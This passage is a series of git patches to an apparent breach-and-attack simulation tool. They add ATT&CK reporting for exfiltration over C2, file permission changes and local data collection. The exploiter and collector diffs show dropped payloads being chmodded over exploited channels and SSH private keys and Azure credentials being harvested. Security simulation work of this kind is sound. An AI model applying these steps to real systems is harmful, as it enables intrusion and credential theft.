{this.renderNav()} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 0b622248b..90929d945 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -158,7 +158,7 @@ class AttackReportPageComponent extends AuthComponent { return (
{this.renderLegend()} -
{content}
+
{content}
) } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 9fc468f77..8f602fa08 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -525,6 +525,14 @@ body { margin-bottom: 30px; } +.attack-matrix { + margin-bottom: 20px; +} + +.attack-report .btn-collapse span:nth-of-type(2){ + flex: 0; +} + .icon-info { color: #ade3eb !important; } From acf309a1634c529686e1d79a6e8b63a31dfd0b13 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 16 Jul 2019 17:33:03 +0300 Subject: [PATCH 025/276] Exfiltration trough command and control channel attack technique implemented --- monkey/monkey_island/cc/models/__init__.py | 1 + monkey/monkey_island/cc/models/c2_info.py | 6 +++ monkey/monkey_island/cc/models/monkey.py | 1 + .../monkey_island/cc/resources/telemetry.py | 2 + .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 13 +++++++ .../attack/technique_reports/T1041.py | 27 ++++++++++++++ monkey/monkey_island/cc/services/node.py | 6 +++ .../src/components/attack/techniques/T1041.js | 37 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 10 files changed, 99 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/models/c2_info.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1041.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 9d69a51fc..9f82e472d 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -16,4 +16,5 @@ from config import Config from creds import Creds from monkey_ttl import MonkeyTtl from pba_results import PbaResults +from c2_info import C2Info from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/c2_info.py b/monkey/monkey_island/cc/models/c2_info.py new file mode 100644 index 000000000..d0f07a3f3 --- /dev/null +++ b/monkey/monkey_island/cc/models/c2_info.py @@ -0,0 +1,6 @@ +from mongoengine import EmbeddedDocument, StringField + + +class C2Info(EmbeddedDocument): + src = StringField() + dst = StringField() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 418cec03f..6c4c90214 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -33,6 +33,7 @@ class Monkey(Document): pba_results = ListField() ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") + c2_info = EmbeddedDocumentField('C2Info') # LOGIC @staticmethod diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index d4aaa72df..7a34c13de 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -48,6 +48,7 @@ class Telemetry(flask_restful.Resource): def post(self): telemetry_json = json.loads(request.data) telemetry_json['timestamp'] = datetime.now() + telemetry_json['c2_channel'] = {'src': request.remote_addr, 'dst': request.host} monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) @@ -110,6 +111,7 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_state_telemetry(telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.add_communication_info(monkey, telemetry_json['c2_channel']) if telemetry_json['data']['done']: NodeService.set_monkey_dead(monkey, True) else: diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 719463ba5..ae6ee78e0 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -2,7 +2,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -27,7 +27,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1106': T1106.T1106, 'T1107': T1107.T1107, 'T1188': T1188.T1188, - 'T1090': T1090.T1090} + 'T1090': T1090.T1090, + 'T1041': T1041.T1041} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 891db84e8..c7c76b998 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -205,5 +205,18 @@ SCHEMA = { } } }, + "exfiltration": { + "title": "Exfiltration", + "type": "object", + "properties": { + "T1041": { + "title": "T1041 Exfiltration Over Command and Control Channel", + "type": "bool", + "value": True, + "necessary": True, + "description": "Data exfiltration is performed over the Command and Control channel." + } + } + } } } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py new file mode 100644 index 000000000..741ee2ae9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus + +__author__ = "VakarisZ" + + +class T1041(AttackTechnique): + + tech_id = "T1041" + unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." + scanned_msg = "" + used_msg = "Monkey exfiltrated info trough command and control channel." + + @staticmethod + def get_report_data(): + monkeys = list(Monkey.objects()) + info = [{'src': monkey['c2_info']['src'], + 'dst': monkey['c2_info']['dst']} + for monkey in monkeys if monkey['c2_info']] + if info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1041.get_base_data_by_status(status) + data.update({'c2_info': info}) + return data diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 9da76b358..c7b82cbfa 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -247,6 +247,12 @@ class NodeService: {'$set': props_to_set}, upsert=False) + @staticmethod + def add_communication_info(monkey, info): + mongo.db.monkey.update({"guid": monkey["guid"]}, + {"$set": {'c2_info': info}}, + upsert=False) + @staticmethod def get_monkey_island_monkey(): ip_addresses = local_ip_addresses() diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js new file mode 100644 index 000000000..be691e484 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js @@ -0,0 +1,37 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {scanStatus} from "./Helpers"; + +class T1041 extends React.Component { + + constructor(props) { + super(props); + } + + static getC2Columns() { + return ([{ + Header: "Data exfiltration channels", + columns: [ + {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }}, + {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }} + ]}])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1041; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 90929d945..15e6aa342 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -23,6 +23,7 @@ import T1129 from "../attack/techniques/T1129"; import T1106 from "../attack/techniques/T1106"; import T1188 from "../attack/techniques/T1188"; import T1090 from "../attack/techniques/T1090"; +import T1041 from "../attack/techniques/T1041"; const tech_components = { 'T1210': T1210, @@ -41,7 +42,8 @@ const tech_components = { 'T1106': T1106, 'T1107': T1107, 'T1188': T1188, - 'T1090': T1090 + 'T1090': T1090, + 'T1041': T1041 }; const classNames = require('classnames'); From a2fac20264d932a0bef3b4451059dbdc2264d0b8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Jul 2019 11:54:06 +0300 Subject: [PATCH 026/276] File permission modification attack technique implemented --- monkey/infection_monkey/exploit/shellshock.py | 3 ++ monkey/infection_monkey/exploit/sshexec.py | 2 + monkey/infection_monkey/exploit/vsftpd.py | 5 +++ monkey/infection_monkey/exploit/web_rce.py | 3 ++ .../telemetry/attack/t1222_telem.py | 19 +++++++++ .../cc/services/attack/attack_report.py | 6 ++- .../cc/services/attack/attack_schema.py | 7 ++++ .../attack/technique_reports/T1222.py | 34 ++++++++++++++++ .../src/components/attack/techniques/T1222.js | 39 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 10 files changed, 119 insertions(+), 3 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1222_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1222.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 5d3ea8f8c..4e81811d0 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,11 +6,13 @@ from random import choice import requests +from common.utils.attack_utils import ScanStatus from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'danielg' @@ -131,6 +133,7 @@ class ShellShockExploiter(HostExploiter): chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) + T1222Telem(ScanStatus.USED, chmod).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index dfa922b24..eed36a30d 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -13,6 +13,7 @@ from infection_monkey.network.tools import check_tcp_port from common.utils.exploit_enum import ExploitType from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'hoffer' @@ -164,6 +165,7 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) + T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux).send() T1105Telem(ScanStatus.USED, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index adac06f2d..dd7e5080c 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -6,12 +6,16 @@ import socket import time + +from common.utils.attack_utils import ScanStatus from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from logging import getLogger +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + LOG = getLogger(__name__) __author__ = 'D3fa1t' @@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter): change_permission = str.encode(str(change_permission) + '\n') LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) + T1222Telem(ScanStatus.USED, change_permission).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index b33a3cfb5..35bcb2f9b 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -10,6 +10,7 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem __author__ = 'VakarisZ' @@ -367,8 +368,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {'monkey_path': path} try: resp = self.exploit(url, command) + T1222Telem(ScanStatus.USED, command).send() except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) + T1222Telem(ScanStatus.SCANNED, "").send() return False # If exploiter returns True / False if type(resp) is bool: diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py new file mode 100644 index 000000000..a9541a2ec --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1222Telem(AttackTelem): + def __init__(self, status, command): + """ + T1222 telemetry. + :param status: ScanStatus of technique + :param command: command used to change permissions + """ + super(T1222Telem, self).__init__('T1222', status) + self.command = command + + def get_data(self): + data = super(T1222Telem, self).get_data() + data.update({ + 'command': self.command + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index ae6ee78e0..fab00c213 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,8 +1,9 @@ import logging + from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -28,7 +29,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1107': T1107.T1107, 'T1188': T1188.T1188, 'T1090': T1090.T1090, - 'T1041': T1041.T1041} + 'T1041': T1041.T1041, + 'T1222': T1222.T1222} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index c7c76b998..caa058df4 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -108,6 +108,13 @@ SCHEMA = { "description": "Adversaries may remove files over the course of an intrusion " "to keep their footprint low or remove them at the end as part " "of the post-intrusion cleanup process." + }, + "T1222": { + "title": "T1222 File permissions modification", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py new file mode 100644 index 000000000..9db288597 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -0,0 +1,34 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1222(AttackTechnique): + tech_id = "T1222" + unscanned_msg = "Monkey didn't try to change any file permissions." + scanned_msg = "Monkey tried to change file permissions, but failed." + used_msg = "Monkey successfully changed file permissions in network systems." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': 'T1222', + 'data.status': ScanStatus.USED.value}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'command': '$data.command'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'command': '$command'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1222.get_tech_base_data() + data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js new file mode 100644 index 000000000..3f3902343 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, scanStatus } from "./Helpers" + + +class T1222 extends React.Component { + + constructor(props) { + super(props); + } + + static getCommandColumns() { + return ([{ + Header: "Permission modification commands", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1222; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 15e6aa342..0aed990d8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -24,6 +24,7 @@ import T1106 from "../attack/techniques/T1106"; import T1188 from "../attack/techniques/T1188"; import T1090 from "../attack/techniques/T1090"; import T1041 from "../attack/techniques/T1041"; +import T1222 from "../attack/techniques/T1222"; const tech_components = { 'T1210': T1210, @@ -43,7 +44,8 @@ const tech_components = { 'T1107': T1107, 'T1188': T1188, 'T1090': T1090, - 'T1041': T1041 + 'T1041': T1041, + 'T1222': T1222 }; const classNames = require('classnames'); From 69de938a378ffa1d137616687f0dc2d5bbe6d88f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Jul 2019 12:14:44 +0300 Subject: [PATCH 027/276] Bugfix: victimhost telem is sent instead of attack telem. --- monkey/infection_monkey/exploit/shellshock.py | 2 +- monkey/infection_monkey/exploit/sshexec.py | 2 +- monkey/infection_monkey/exploit/vsftpd.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 4 ++-- .../infection_monkey/telemetry/attack/t1222_telem.py | 8 ++++---- .../cc/services/attack/technique_reports/T1222.py | 12 +----------- .../cc/ui/src/components/attack/techniques/T1222.js | 4 ++-- 7 files changed, 12 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 4e81811d0..208af2f98 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): chmod = '/bin/chmod +x %s' % dropper_target_path_linux run_path = exploit + chmod self.attack_page(url, header, run_path) - T1222Telem(ScanStatus.USED, chmod).send() + T1222Telem(ScanStatus.USED, chmod, self.host).send() # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index eed36a30d..a08da4f45 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -165,7 +165,7 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux).send() + T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send() T1105Telem(ScanStatus.USED, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index dd7e5080c..744853bdf 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -129,7 +129,7 @@ class VSFTPDExploiter(HostExploiter): change_permission = str.encode(str(change_permission) + '\n') LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) - T1222Telem(ScanStatus.USED, change_permission).send() + T1222Telem(ScanStatus.USED, change_permission, self.host).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 35bcb2f9b..18a2dcee1 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -368,10 +368,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {'monkey_path': path} try: resp = self.exploit(url, command) - T1222Telem(ScanStatus.USED, command).send() + T1222Telem(ScanStatus.USED, command, self.host).send() except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) - T1222Telem(ScanStatus.SCANNED, "").send() + T1222Telem(ScanStatus.SCANNED, "", self.host).send() return False # If exploiter returns True / False if type(resp) is bool: diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index a9541a2ec..c8d16061e 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -1,14 +1,14 @@ -from infection_monkey.telemetry.attack.attack_telem import AttackTelem +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -class T1222Telem(AttackTelem): - def __init__(self, status, command): +class T1222Telem(VictimHostTelem): + def __init__(self, status, command, machine): """ T1222 telemetry. :param status: ScanStatus of technique :param command: command used to change permissions """ - super(T1222Telem, self).__init__('T1222', status) + super(T1222Telem, self).__init__('T1222', status, machine) self.command = command def get_data(self): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py index 9db288597..940c9e8ea 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -14,17 +14,7 @@ class T1222(AttackTechnique): query = [{'$match': {'telem_category': 'attack', 'data.technique': 'T1222', 'data.status': ScanStatus.USED.value}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'command': '$data.command'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'command': '$command'}}}, + {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}}, {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js index 3f3902343..e3ab74c2c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, scanStatus } from "./Helpers" +import { renderMachine, scanStatus } from "./Helpers" class T1222 extends React.Component { @@ -14,7 +14,7 @@ class T1222 extends React.Component { return ([{ Header: "Permission modification commands", columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }}, ] }])}; From ab461ef8d395735be2dedfb19f7a1bd41382dcf9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Jul 2019 09:47:31 +0300 Subject: [PATCH 028/276] Implemented data collection from local system attack technique --- .../system_info/SSH_info_collector.py | 4 ++ .../system_info/azure_cred_collector.py | 5 +++ .../telemetry/attack/t1005_telem.py | 22 +++++++++++ .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 14 +++++++ .../attack/technique_reports/T1005.py | 34 +++++++++++++++++ .../cc/services/config_schema.py | 2 +- .../src/components/attack/techniques/T1005.js | 38 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 9 files changed, 124 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1005_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1005.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index af1915e4d..60c509fc6 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -3,6 +3,9 @@ import pwd import os import glob +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) @@ -71,6 +74,7 @@ class SSHCollector(object): if private_key.find('ENCRYPTED') == -1: info['private_key'] = private_key LOG.info("Found private key in %s" % private) + T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send() else: continue except (IOError, OSError): diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 3b1127e44..80d9f064f 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -5,6 +5,9 @@ import json import glob import subprocess +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + __author__ = 'danielg' LOG = logging.getLogger(__name__) @@ -54,6 +57,7 @@ class AzureCollector(object): decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -92,6 +96,7 @@ class AzureCollector(object): # this is disgusting but the alternative is writing the file to disk... password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py new file mode 100644 index 000000000..228ccb67c --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1005Telem(AttackTelem): + def __init__(self, status, _type, info=""): + """ + T1005 telemetry. + :param status: ScanStatus of technique + :param _type: Type of data collected + :param info: Additional info about data + """ + super(T1005Telem, self).__init__('T1005', status) + self._type = _type + self.info = info + + def get_data(self): + data = super(T1005Telem, self).get_data() + data.update({ + 'type': self._type, + 'info': self.info + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index fab00c213..0cf15051c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -30,7 +30,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1188': T1188.T1188, 'T1090': T1090.T1090, 'T1041': 